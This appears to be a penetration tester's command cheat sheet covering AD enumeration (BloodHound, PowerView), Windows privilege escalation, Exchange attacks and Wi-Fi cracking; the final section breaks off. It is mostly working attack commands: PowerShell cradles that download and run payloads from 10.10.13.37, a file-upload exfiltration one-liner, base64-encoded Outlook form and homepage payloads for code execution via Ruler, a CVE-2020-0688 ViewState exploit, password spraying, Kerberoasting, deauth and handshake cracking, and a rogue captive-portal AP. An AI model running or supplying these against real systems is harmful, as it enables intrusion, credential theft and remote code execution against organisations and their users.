PS > powershell -NoP -sta -NonI -W Hidden -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/launcher.ps1')"

Bloodhound

Setup

$ sudo apt install neo4j
$ mkdir -p /usr/share/neo4j/logs/
$ sudo neo4j console
...change default password at localhost:7474...
$ sudo neo4j start
$ wget https://github.com/BloodHoundAD/BloodHound/releases/latest
$ unzip BloodHound-linux-x64.zip && rm BloodHound-linux-x64.zip && cd BloodHound-linux-x64
$ sudo ./BloodHound --no-sandbox
Or
$ sudo chown root:root chrome-sandbox
$ sudo chmod 4755 chrome-sandbox
$ ./BloodHound

Collectors

SharpHound.ps1
PS > Invoke-Bloodhound -CollectionMethod All,GPOLocalGroup -Domain megacorp.local -LDAPUser snovvcrash -LDAPPass 'Passw0rd!'
PS > Invoke-Bloodhound -CollectionMethod SessionLoop -Domain megacorp.local
SharpHound.exe
PS > .\SharpHound.exe -c All,GPOLocalGroup -d megacorp.local --ldapusername snovvcrash --ldappassword 'Passw0rd!'
PS > .\SharpHound.exe -c SessionLoop -d megacorp.local

Cypher

Show percentage of collected user sessions (example):

# http://localhost:7474/browser/
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetange

BloodHound.py

$ cd ~/workspace/enum/bloodhound/bloodhound.py/
$ bloodhound-python -c All,LoggedOn -u snovvcrash -p 'Passw0rd!' -d megacorp.local -ns 127.0.0.1

dementor.py

$ ./dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' 10.10.13.37 DC01.megacorp.local

printerbug.py

$ ./printerbug.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local 10.10.13.37

cve-2019-1040-scanner

$ ./scan.py MEGACORP/snovvcrash:'Passw0rd!'@10.10.13.37
$ ./scan.py -target-file DCs.txt MEGACORP/snovvcrash:'Passw0rd!'

PowerView

PowerView3 > Get-DomainComputer -Properties Name | Resolve-IPAddress
PowerView3 > Invoke-Kerberoast -OutputFormat Hashcat | fl

PowerUp.ps1

PS > Invoke-PrivescAudit

PowerUpSQL.ps1

PS > Get-SQLInstanceDomain
PS > Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 10 -UserName sa -Password 'Passw0rd!' -Verbose
PS > Invoke-SQLOSCmd -UserName sa -Password 'Passw0rd!' -Instance sqlsrv01.megacorp.local -Command whoami
PS > Invoke-SQLAudit -Instance WEB01 -UserName sa -Password 'Passw0rd!' -Verbose

Windows-Exploit-Suggester

$ python -u windows-exploit-suggester.py -d 2020-09-02-mssb.xls -i systeminfo.txt --ostext 'windows 10 64-bit' --hotfixes hotfixes.txt | tee wes.log

JAWS

PS > .\jaws-enum.ps1 -OutputFileName jaws-enum.txt

winPEAS

PrivescCheck

PS > powershell.exe -exec bypass -c ". .\privesccheck.ps1; Invoke-PrivescCheck -Extended | Tee-Object privesccheck-out.txt"

Seatbelt

PS > .\seatbelt.exe -group=all
PS > IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/invoke-seatbelt.ps1'); Invoke-Seatbelt -Command CredEnum

One-liners

PowerShell ping sweep:

echo "[*] Scanning in progress...";1..254 |ForEach-Object {Get-WmiObject Win32_PingStatus -Filter "Address='10.10.100.$_' and Timeout=50 and ResolveAddressNames='false' and StatusCode=0" |select ProtocolAddress* |Out-File -Append -FilePath .\live_hosts.txt};echo "[+] Live hosts:"; Get-Content -Path .\live_hosts.txt | ? { $_ -match "10.10.100" }; echo "[*] Done.";del .\live_hosts.txt

PowerShell auto detect proxy, download file from remote HTTP server and run it:

$proxyAddr=(Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings").ProxyServer;$proxy=New-Object System.Net.WebProxy;$proxy.Address=$proxyAddr;$proxy.UseDefaultCredentials=$true;$client=New-Object System.Net.WebClient;$client.Proxy=$proxy;$client.DownloadFile("http://10.10.13.37/met.exe","$env:userprofile\music\met.exe");$exec=New-Object -com shell.application;$exec.shellexecute("$env:userprofile\music\met.exe")

PowerShell manually set proxy and upload file to remote HTTP server:

$client=New-Object System.Net.WebClient;$proxy=New-Object System.Net.WebProxy("http://proxy.megacorp.local:3128",$true);$creds=New-Object Net.NetworkCredential("snovvcrash","Passw0rd!","megacorp.local");$creds=$creds.GetCredential("http://proxy.megacorp.local","3128","KERBEROS");$proxy.Credentials=$creds;$client.Proxy=$proxy;$client.UploadFile("http://10.10.13.37/results.txt","results.txt")

Unsorted

PS > systeminfo
PS > whoami /priv (whoami /all)
PS > gci "$env:userprofile" -recurse -file -ea SilentlyContinue | select fullname
PS > net user
PS > net user /domain
PS > net user j.doe /domain
PS > net accounts
PS > net accounts /domain
PS > net localgroup Administrators
PS > net group /domain
PS > net group "Domain admins" /domain
PS > net group "Enterprise admins" /domain
PS > cmdkey /list
PS > wmic product get name
PS > get-process
PS > tasklist /SVC
PS > net start
PS > netstat -ano | findstr LIST
PS > ipconfig /all
PS > route print
PS > dir -force c:\
PS > cmd /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\NPCAP"
PS > (wmic os get OSArchitecture)[2]
PS > [Environment]::Is64BitOperatingSystem
PS > [Environment]::Is64BitProcess
PS > $ExecutionContext.SessionState.LanguageMode
PS > [System.Net.Dns]::GetHostAddresses('hostname') | % {$_.IPAddressToString}

Common AV process names:

Process Name Vendor/Product
avp.exe Kaspersky Internet Security
cpda.exe End Point Security (Check Point)
MsMpEng.exe Windows Defender
ntrtscan.exe Trend Micro OfficeScan
tmlisten.exe Trend Micro OfficeScan 
PS > gc .\100-hosts.txt | % {gwmi -Query "select * from Win32_Process" -ComputerName $_ | ? {$_.Caption -in "name1.exe","name2.exe"} | select ProcessName,PSComputerName}

Identify Microsoft.NET version:

PS > cd C:\Windows\Microsoft.NET\Framework64\
PS > ls
PS > cd .\v4.0.30319\
PS > Get-Item .\clr.dll | Fl
Or
PS > [System.Diagnostics.FileVersionInfo]::GetVersionInfo($(Get-Item .\clr.dll)).FileVersion

Perimeter

  • DNS
    • $ nslookup example.com
    • Subdomains & AXFR
    • AS details
    • $ whois example.com
    • $ whois 127.0.0.1
    • Check for DNS Amplification
  • CMS, Stack, Vulns
    • WhatWeb, Wappalyzer
    • Shodan / Censys / SecurityTrails
  • Google Dorks
    • /robots.txt
    • /sitemap.xml

Exchange

GAL

Ruler

$ ./ruler -k -d megacorp.com -u snovvcrash -p 'Passw0rd!' -e [email protected] --verbose abk dump -o gal.txt

MailSniper

PS > Get-GlobalAddressList -ExchHostname mail.megacorp.com -UserName MEGACORP\snovvcrash -Password 'Passw0rd!' -OutFile gal.txt

OAB

Search for <OABUrl> node using Burp:

POST /autodiscover/autodiscover.xml HTTP/1.1
Host: mx.megacorp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Authorization: Basic TUVHQUNPUlBcc25vdnZjcmFzaDpQYXNzdzByZCEK
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 350

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>[email protected]</EMailAddress>
      <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>

Or with a Python script:

$ ./oaburl.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -e '[email protected]'
[*] Authenticated users's SID (X-BackEndCookie): S-1-5-21-3167813660-1240564177-918740779-3102
[+] DisplayName: Sam Freeside
[+] Server: [email protected]
[+] AD: dc01.megacorp.com
[+] OABUrl: https://mx.megacorp.com/OAB/<OABUrl>/

Get oab.xml and then gal.lzx:

$ curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' https://mx.megacorp.local/OAB/<OABUrl>/oab.xml > oab.xml
$ cat oab.xml | grep '.lzx' | grep data
$ curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' https://mx.megacorp.local/OAB/<OABUrl>/11ff11ff-11ff-11ff-11ff-11ff11ff11ff-data-999.lzx > gal.lzx

Install libmspack:

$ git clone https://github.com/kyz/libmspack ~/tools/libmspack && cd ~/tools/libmspack/libmspack
$ sudo apt install autoconf libtool -y
$ ./rebuild.sh && ./configure && make && cd -

Parse gal.lzx into gal.oab and extract emails from gal.oab with a regexp:

$ ~/tools/libmspack/libmspack/examples/oabextract gal.lzx gal.oab
$ strings gal.oab | egrep -o "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}" | sort -u > emails.txt

ActiveSync

PEAS

Install:

$ git clone https://github.com/snovvcrash/peas ~/tools/peas-m && cd ~/tools/peas-m
$ python3 -m virtualenv --python=/usr/bin/python venv && source venv/bin/activate
(venv) $ pip install --upgrade 'setuptools<45.0.0'
(venv) $ pip install -r requirements.txt

Run:

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --check
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --list-unc='\\DC01'
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --list-unc='\\DC01\SYSVOL\megacorp.com'
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --dl-unc='\\DC01\share\file.txt'
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --dl-unc='\\DC01\share\file.txt' -o file.txt
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --crawl-unc='\\DC01\share\' [--pattern xml,ini] [--download]
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --brute-unc [--prefix srv]

How-To

1. Use Nmap http-ntlm-info to get NetBIOS domain name and Exchange hostname: hunting for hostname pattern prefix if there is one.

2. Locate DC (guess it trying hostname pattern prefix) and mirror \\DC01\SYSVOL\megacorp.local\ share with --crawl-unc function:

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --crawl-unc='\\DC01\SYSVOL\megacorp.com\' --download

3. Find, xargs and grep for keywords in files: password, NetBIOS domain name (for additional account names), hostname pattern prefix (for additional hosts/shares):

$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i -e password -e pass
$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <DOMAIN_NETBIOS_NAME>
$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <PREFIX>

4. (optional) Brute other share names:

$ python -m peas --brute-unc -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com [--prefix srv]

Ruler

Rules

Forms

Display forms:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e [email protected] --verbose --debug form display

Exploit:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e [email protected] --verbose --debug form add --suffix test-form --input vbs-payload.txt --send

Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikuUnVuICJwb3dlcnNoZWxsIC1leGVjIGJ5cGFzcyAtZW5jIEpBQndBSElBYndCNEFIa0FRUUJrQUdRQWNnQTlBQ2dBUndCbEFIUUFMUUJKQUhRQVpRQnRBRkFBY2dCdkFIQUFaUUJ5QUhRQWVRQWdBQ0lBU0FCTEFFTUFWUUE2QUZ3QVV3QnZBR1lBZEFCM0FHRUFjZ0JsQUZ3QVRRQnBBR01BY2dCdkFITUFid0JtQUhRQVhBQlhBR2tBYmdCa0FHOEFkd0J6QUZ3QVF3QjFBSElBY2dCbEFHNEFkQUJXQUdVQWNnQnpBR2tBYndCdUFGd0FTUUJ1QUhRQVpRQnlBRzRBWlFCMEFDQUFVd0JsQUhRQWRBQnBBRzRBWndCekFDSUFLUUF1QUZBQWNnQnZBSGdBZVFCVEFHVUFjZ0IyQUdVQWNnQTdBQ1FBY0FCeUFHOEFlQUI1QUQwQVRnQmxBSGNBTFFCUEFHSUFhZ0JsQUdNQWRBQWdBRk1BZVFCekFIUUFaUUJ0QUM0QVRnQmxBSFFBTGdCWEFHVUFZZ0JRQUhJQWJ3QjRBSGtBT3dBa0FIQUFjZ0J2QUhnQWVRQXVBRUVBWkFCa0FISUFaUUJ6QUhNQVBRQWtBSEFBY2dCdkFIZ0FlUUJCQUdRQVpBQnlBRHNBSkFCd0FISUFid0I0QUhrQUxnQlZBSE1BWlFCRUFHVUFaZ0JoQUhVQWJBQjBBRU1BY2dCbEFHUUFaUUJ1QUhRQWFRQmhBR3dBY3dBOUFDUUFkQUJ5QUhVQVpRQTdBQ1FBWXdCc0FHa0FaUUJ1QUhRQVBRQk9BR1VBZHdBdEFFOEFZZ0JxQUdVQVl3QjBBQ0FBVXdCNUFITUFkQUJsQUcwQUxnQk9BR1VBZEFBdUFGY0FaUUJpQUVNQWJBQnBBR1VBYmdCMEFEc0FKQUJqQUd3QWFRQmxBRzRBZEFBdUFGQUFjZ0J2QUhnQWVRQTlBQ1FBY0FCeUFHOEFlQUI1QURzQUpBQmpBR3dBYVFCbEFHNEFkQUF1QUVRQWJ3QjNBRzRBYkFCdkFHRUFaQUJHQUdrQWJBQmxBQ2dBSWdCb0FIUUFkQUJ3QURvQUx3QXZBREVBTUFBdUFERUFNQUF1QURFQU13QXVBRE1BTndBdkFHZ0FkQUIwQUhBQWN3QTBBRFFBTXdBdUFHVUFlQUJsQUNJQUxBQWlBQ1FBWlFCdUFIWUFPZ0IxQUhNQVpRQnlBSEFBY2dCdkFHWUFhUUJzQUdVQVhBQnRBSFVBY3dCcEFHTUFYQUJvQUhRQWRBQndBSE1BTkFBMEFETUFMZ0JsQUhnQVpRQWlBQ2tBT3dBa0FHVUFlQUJsQUdNQVBRQk9BR1VBZHdBdEFFOEFZZ0JxQUdVQVl3QjBBQ0FBTFFCakFHOEFiUUFnQUhNQWFBQmxBR3dBYkFBdUFHRUFjQUJ3QUd3QWFRQmpBR0VBZEFCcEFHOEFiZ0E3QUNRQVpRQjRBR1VBWXdBdUFITUFhQUJsQUd3QWJBQmxBSGdBWlFCakFIVUFkQUJsQUNnQUlnQWtBR1VBYmdCMkFEb0FkUUJ6QUdVQWNnQndBSElBYndCbUFHa0FiQUJsQUZ3QWJRQjFBSE1BYVFCakFGd0FhQUIwQUhRQWNBQnpBRFFBTkFBekFDNEFaUUI0QUdVQUlnQXBBQW9BIiwgMCwgZmFsc2UK

Cleanup:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e [email protected] --verbose --debug form delete --suffix test-form

Empire stager encryption:

$ grep -e output_type -e payload_type -e clean_output -e userdomain genetic.config
    output_type = GO
    payload_type = DLL_x64
    clean_output = True
        userdomain = 'MEGACORP'
$ python ebowla.py https443.dll genetic.config
$ ./build_x64_go.sh output/go_symmetric_https443.dll.go https443.exe --hidden

Homepage

Exploit:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e [email protected] --verbose --debug homepage add --url http://10.10.13.37/homepage.html

PGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MiI+Cjx0aXRsZT5PdXRsb29rPC90aXRsZT4KPHNjcmlwdCBpZD1jbGllbnRFdmVudEhhbmRsZXJzVkJTIGxhbmd1YWdlPXZic2NyaXB0Pgo8IS0tCiBTdWIgd2luZG93X29ubG9hZCgpCiAgICAgU2V0IEFwcGxpY2F0aW9uID0gVmlld0N0bDEuT3V0bG9va0FwcGxpY2F0aW9uCiAgICAgU2V0IGNtZCA9IEFwcGxpY2F0aW9uLkNyZWF0ZU9iamVjdCgiV3NjcmlwdC5TaGVsbCIpCiAgICAgY21kLlJ1bigicG93ZXJzaGVsbCAtZXhlYyBieXBhc3MgLWUgSkFCd0FISUFid0I0QUhrQVFRQmtBR1FBY2dBOUFDZ0FSd0JsQUhRQUxRQkpBSFFBWlFCdEFGQUFjZ0J2QUhBQVpRQnlBSFFBZVFBZ0FDSUFTQUJMQUVNQVZRQTZBRndBVXdCdkFHWUFkQUIzQUdFQWNnQmxBRndBVFFCcEFHTUFjZ0J2QUhNQWJ3Qm1BSFFBWEFCWEFHa0FiZ0JrQUc4QWR3QnpBRndBUXdCMUFISUFjZ0JsQUc0QWRBQldBR1VBY2dCekFHa0Fid0J1QUZ3QVNRQnVBSFFBWlFCeUFHNEFaUUIwQUNBQVV3QmxBSFFBZEFCcEFHNEFad0J6QUNJQUtRQXVBRkFBY2dCdkFIZ0FlUUJUQUdVQWNnQjJBR1VBY2dBN0FDUUFjQUJ5QUc4QWVBQjVBRDBBVGdCbEFIY0FMUUJQQUdJQWFnQmxBR01BZEFBZ0FGTUFlUUJ6QUhRQVpRQnRBQzRBVGdCbEFIUUFMZ0JYQUdVQVlnQlFBSElBYndCNEFIa0FPd0FrQUhBQWNnQnZBSGdBZVFBdUFFRUFaQUJrQUhJQVpRQnpBSE1BUFFBa0FIQUFjZ0J2QUhnQWVRQkJBR1FBWkFCeUFEc0FKQUJ3QUhJQWJ3QjRBSGtBTGdCVkFITUFaUUJFQUdVQVpnQmhBSFVBYkFCMEFFTUFjZ0JsQUdRQVpRQnVBSFFBYVFCaEFHd0Fjd0E5QUNRQWRBQnlBSFVBWlFBN0FDUUFZd0JzQUdrQVpRQnVBSFFBUFFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCT0FHVUFkQUF1QUZjQVpRQmlBRU1BYkFCcEFHVUFiZ0IwQURzQUpBQmpBR3dBYVFCbEFHNEFkQUF1QUZBQWNnQnZBSGdBZVFBOUFDUUFjQUJ5QUc4QWVBQjVBRHNBSkFCakFHd0FhUUJsQUc0QWRBQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQkdBR2tBYkFCbEFDZ0FJZ0JvQUhRQWRBQndBRG9BTHdBdkFERUFNQUF1QURFQU1BQXVBREVBTXdBdUFETUFOd0F2QUhNQWRBQmhBR2NBWlFCeUFEWUFOQUF1QUdRQWJBQnNBQ0lBTEFBaUFDUUFaUUJ1QUhZQU9nQjFBSE1BWlFCeUFIQUFjZ0J2QUdZQWFRQnNBR1VBWEFCdEFIVUFjd0JwQUdNQVhBQnpBSFFBWVFCbkFHVUFjZ0EyQURRQUxnQmtBR3dBYkFBaUFDa0FPd0FrQUdVQWVBQmxBR01BUFFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFMUUJqQUc4QWJRQWdBSE1BYUFCbEFHd0FiQUF1QUdFQWNBQndBR3dBYVFCakFHRUFkQUJwQUc4QWJnQTdBQ1FBWlFCNEFHVUFZd0F1QUhNQWFBQmxBR3dBYkFCbEFIZ0FaUUJqQUhVQWRBQmxBQ2dBSWdCeUFIVUFiZ0JrQUd3QWJBQXpBRElBSWdBc0FDSUFKQUJsQUc0QWRnQTZBSFVBY3dCbEFISUFjQUJ5QUc4QVpnQnBBR3dBWlFCY0FHMEFkUUJ6QUdrQVl3QmNBSE1BZEFCaEFHY0FaUUJ5QURZQU5BQXVBR1FBYkFCc0FDSUFLUUFLQUE9PSIpCiBFbmQgU3ViCi0tPgoKPC9zY3JpcHQ+CjwvaGVhZD4KCjxib2R5PgogPG9iamVjdCBjbGFzc2lkPSJjbHNpZDowMDA2RjA2My0wMDAwLTAwMDAtQzAwMC0wMDAwMDAwMDAwNDYiIGlkPSJWaWV3Q3RsMSIgZGF0YT0iIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIj48L29iamVjdD4KPC9ib2R5Pgo8L2h0bWw+Cg==

Cleanup:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e [email protected] --verbose --debug homepage delete

Stager encryption is the same as for Ruler/Forms.

CVE-2020-0688

Get ViewStateUserKey: Browser → F12 → Storage → ASP.NET_SessionId
Get ViewStateGenerator: Browser → F12 → Console → document.getElementById("__VIEWSTATEGENERATOR").value
PS > [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('$name = hostname;nslookup "$name.0000000000ffffffffff.d.zhack.ca"'))
PS > .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc cwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACAAIgBDAFYARQAtADIAMAAyADAALQAwADYAOAA4ACAAQQBiAHUAcwBlACAAUABvAEMALgAuAC4AIgAKAA===" --validationalg "SHA1" --validationkey "CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --viewstateuserkey "<VIEWSTATE>" --generator "<GENERATOR>" --islegacy --isdebug
https://mx.megacorp.com/ecp/default.aspx?__VIEWSTATEGENERATOR=<GENERATOR>&__VIEWSTATE=<VIEWSTATE>

NSPI

List Address Books and count entities in every one of them:

$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi list-tables -count

Dump any specified Address Book by its name or GUID:

$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi dump-tables -guid 00ff00ff-00ff-00ff-00ff-00ff00ff00ff -lookup-type EXTENDED -output-file gal.txt
$ cat gal.txt | grep 'mail,' | sort -u | awk -F' ' '{print $3}' > emails.txt

Return AD objects by their GUIDs:

PS > (Get-ADuser -Identity snovvcrash).ObjectGUID
$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi guid-known -guid 00ff00ff-00ff-00ff-00ff-00ff00ff00ff -lookup-type FULL

Dump all AD records via requesting DNTs:

$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi dnt-lookup -lookup-type EXTENDED -start-dnt 0 -stop-dnt 500000 -output-file dnt-dump.txt

OWA

Enumerate Users

MailSniper

PS > Invoke-UsernameHarvestOWA -ExchHostname mx.megacorp.com -Domain MEGACORP -UserList .\owa-users.txt -Threads 25 -OutFile owa-valid-users.txt

Password Spray

Ruler

Autodiscover URL implicit:

$ ./ruler -k -d megacorp.com brute --users users.txt --passwords passwords.txt --delay 35 --attempts 3 --verbose | tee -a ruler-results-blood.txt

Autodiscover URL explicit:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com brute --users users.txt --passwords passwords.txt --delay 35 --attempts 3 --verbose | tee -a ruler-results-all.txt

Notes:

  • In users.txt there's only "username" on a line, not "DOMAIN\username".
  • Errors like ERROR: 04:27:43 brute.go:193: An error occured in connection - Get https://autodiscover.megacorp.com/autodiscover/autodiscover.xml: Get https://autodiscover.megacorp.com/autodiscover/autodiscover.xml: net/http: request canceled do not affect the current password probe.

Parse NTLM

Nmap

$ sudo nmap --script http-ntlm-info --script-args http-ntlm-info.root=/ews/ -p443 mx.megacorp.com

Metasploit

msf > use auxiliary/scanner/http/owa_login

MailSniper

PS > Invoke-DomainHarvestOWA -ExchHostname mx.megacorp.com

get_ad_domain.zip

$ python get_ad_domain.zip -m owa mx.megacorp.com

Wi-Fi

Hardware

TP-Link TL-WN722N v2/v3

Chipset: TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS].

Check kernel version:

$ uname -r
5.8.0-kali2-amd64

Install kernel headers:

$ sudo apt install -y bc linux-headers-amd64

Build drivers from source and install:

$ sudo -i
# echo "blacklist r8188eu" >> "/etc/modprobe.d/realtek.conf"
# git clone https://github.com/aircrack-ng/rtl8188eus/tree/v5.3.9 /opt/rtl8188eus && cd /opt/rtl8188eus
# make && make install
# reboot

Test for packet injections:

$ sudo aireplay-ng -9 wlan1

Alfa AWUS036ACH AC1200

Chipset: Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter.

Install drivers with apt:

$ sudo apt update && sudo apt upgrade -y
$ sudo apt install realtek-rtl88xxau-dkms
$ sudo reboot

Or build from source and install:

$ sudo -i
# git clone https://github.com/aircrack-ng/rtl8812au /opt/rtl8812au && cd /opt/rtl8812au
# ./dkms-install.sh
# reboot

Test for packet injections:

$ sudo aireplay-ng -9 wlan1

Prologue

Install stuff:

$ sudo apt install lshw cowpatty -y

Make sure lsusb can see the wireless adapters (it would show the chipset):

$ lsusb
Bus 001 Device 003: ID 2357:010c TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
Bus 001 Device 010: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter

Make sure iwconfig can see the wireless adapter:

$ sudo ifconfig
$ sudo iwconfig
$ sudo iw dev

Turn on monitor mode manually:

$ sudo ip link set wlan1 down
$ sudo iwconfig wlan1 mode monitor
$ sudo ip link set wlan1 up
$ sudo iwconfig

Undo:

$ sudo ip link set wlan1 down
$ sudo iwconfig wlan1 mode managed
$ sudo ip link set wlan1 up
$ sudo iwconfig

Or create a separate virtual interface in monitor mode:

$ sudo ip link set wlan1 down
$ sudo iw dev wlan1 interface add wlan1mon type monitor
$ sudo ip link set wlan1 up
$ sudo service NetworkManager restart
$ sudo iwconfig

Undo:

$ sudo ip link set wlan1 down
sudo iw dev wlan1mon del
sudo ip link set wlan1 up
sudo iwconfig

Or do it with airmon-ng:

$ sudo airmon-ng start wlan1

In fact, that does not need to be done as airodump-ng can put the wireless card into monitor mode automatically:

$ sudo airodump wlan1

Make sure, you're not using the default MAC:

$ macchanger -s wlan1

Restart NM when there are troubles with Internet connection:

$ sudo service NetworkManager restart

WPA/WPA2

Personal

4-Way Handshake

1. Look for targets. Save BSSID (00:00:00:00:00:01), CH (9), ESSID (SomeEssid) and STATION (00:00:00:00:00:02) if deauth will be required:

$ sudo airodump-ng -M -U wlan1 [-c 36-165 (for 5GHz, see WLAN channels) or just -c 1-200 for all] [--band <abg>]
qq

2. Start dumping the target's traffic:

[$ sudo iwconfig wlan1 channel 9]
$ sudo airodump-ng -c 9 --bssid 00:00:00:00:00:01 -w SomeEssid wlan1

3. Send DeAuth packets in a separate terminal till WPA handshake: XX:XX:XX:XX:XX:XX appears (aggressive):

$ sudo aireplay-ng [-D] -0 2 -a 00:00:00:00:00:01 -c 00:00:00:00:00:02 wlan1
Or
$ for client in `cat 00:00:00:00:00:01.txt`; do sudo aireplay-ng -D -0 2 -a 00:00:00:00:00:01 -c $client wlan1; done

4. Clean the capture, check it once again, covert to Hashcat format and crack it:

$ aircrack-ng SomeEssid*.cap
$ wpaclean SomeEssid-cleaned.cap SomeEssid-01.cap
$ cowpatty -r SomeEssid-cleaned.cap -s SomeEssid -c
$ /usr/lib/hashcat-utils/cap2hccapx.bin SomeEssid-cleaned.cap SomeEssid.hccapx
$ hashcat -m 2500 -a 0 cleaned.hccapx rockyou.txt
wifite2
$ sudo wifite -vi wlan1 --clients-only --wpa --no-wps

PMKID

wifite2
$ sudo wifite -vi wlan1 --pmkid

wifite2

«Поэтому оптимальный алгоритм взло… аудита следующий: определяем, включен ли на целевой точке доступа режим WPS. Если да, запускаем PixieDust. Безуспешно? Тогда перебор известных пинов. Не получилось? Проверяем, не включено ли шифрование WEP, которое тоже обходится влет. Если нет, то выполняем атаку PMKID на WPA(2). Если уж и так не получилось, тогда вспоминаем классику и ждем хендшейка (чтобы не палиться) или активно кикаем клиентов, чтобы наловить их сессии авторизации.» — ][

Install wifite2:

$ git clone https://github.com/derv82/wifite2 ~/tools/wifite2 && cd ~/tools/wifite2
$ sudo python setup.py install

Install hcxdumptool (for capturing PMKID hashes):

$ git clone https://github.com/ZerBea/hcxdumptool.git ~/tools/hcxdumptool && cd ~/tools/hcxdumptool
$ sudo apt install libcurl4-openssl-dev libssl-dev -y
$ make
$ sudo make install

Install (for converting PMKID packet captures into hashcat's format):

$ git clone https://github.com/ZerBea/hcxtools.git ~/tools/hcxtools && cd ~/tools/hcxtools
$ make
$ sudo make install

Fire up wifite2:

$ sudo wifite -vi wlan1 [--kill] [-5]

airgeddon

$ git clone --depth 1 https://github.com/v1s1t0r1sh3r3/airgeddon.git ~/tools/airgeddon && cd ~/tools/airgeddon
$ sudo bash airgeddon.sh

wifiphisher

Install:

$ git clone https://github.com/wifiphisher/wifiphisher.git ~/tools/wifiphisher && cd ~/tools/wifiphisher
$ sudo python3 setup.py install # Install any dependencies

Start a rogue AP with fake captive portal (firmware update scenario) on wlan1 and deauth clients with wlan2:

$ sudo wifiphisher -aI wlan1 -eI wlan2 -p wifi_connect

Enterprise

hostapd-wpe

1. Install dependencies:

$ sudo apt install libnl-3-dev libssl-dev
$ sudo apt install hostapd-wpe

2. Install and configure hostapd-wpe:

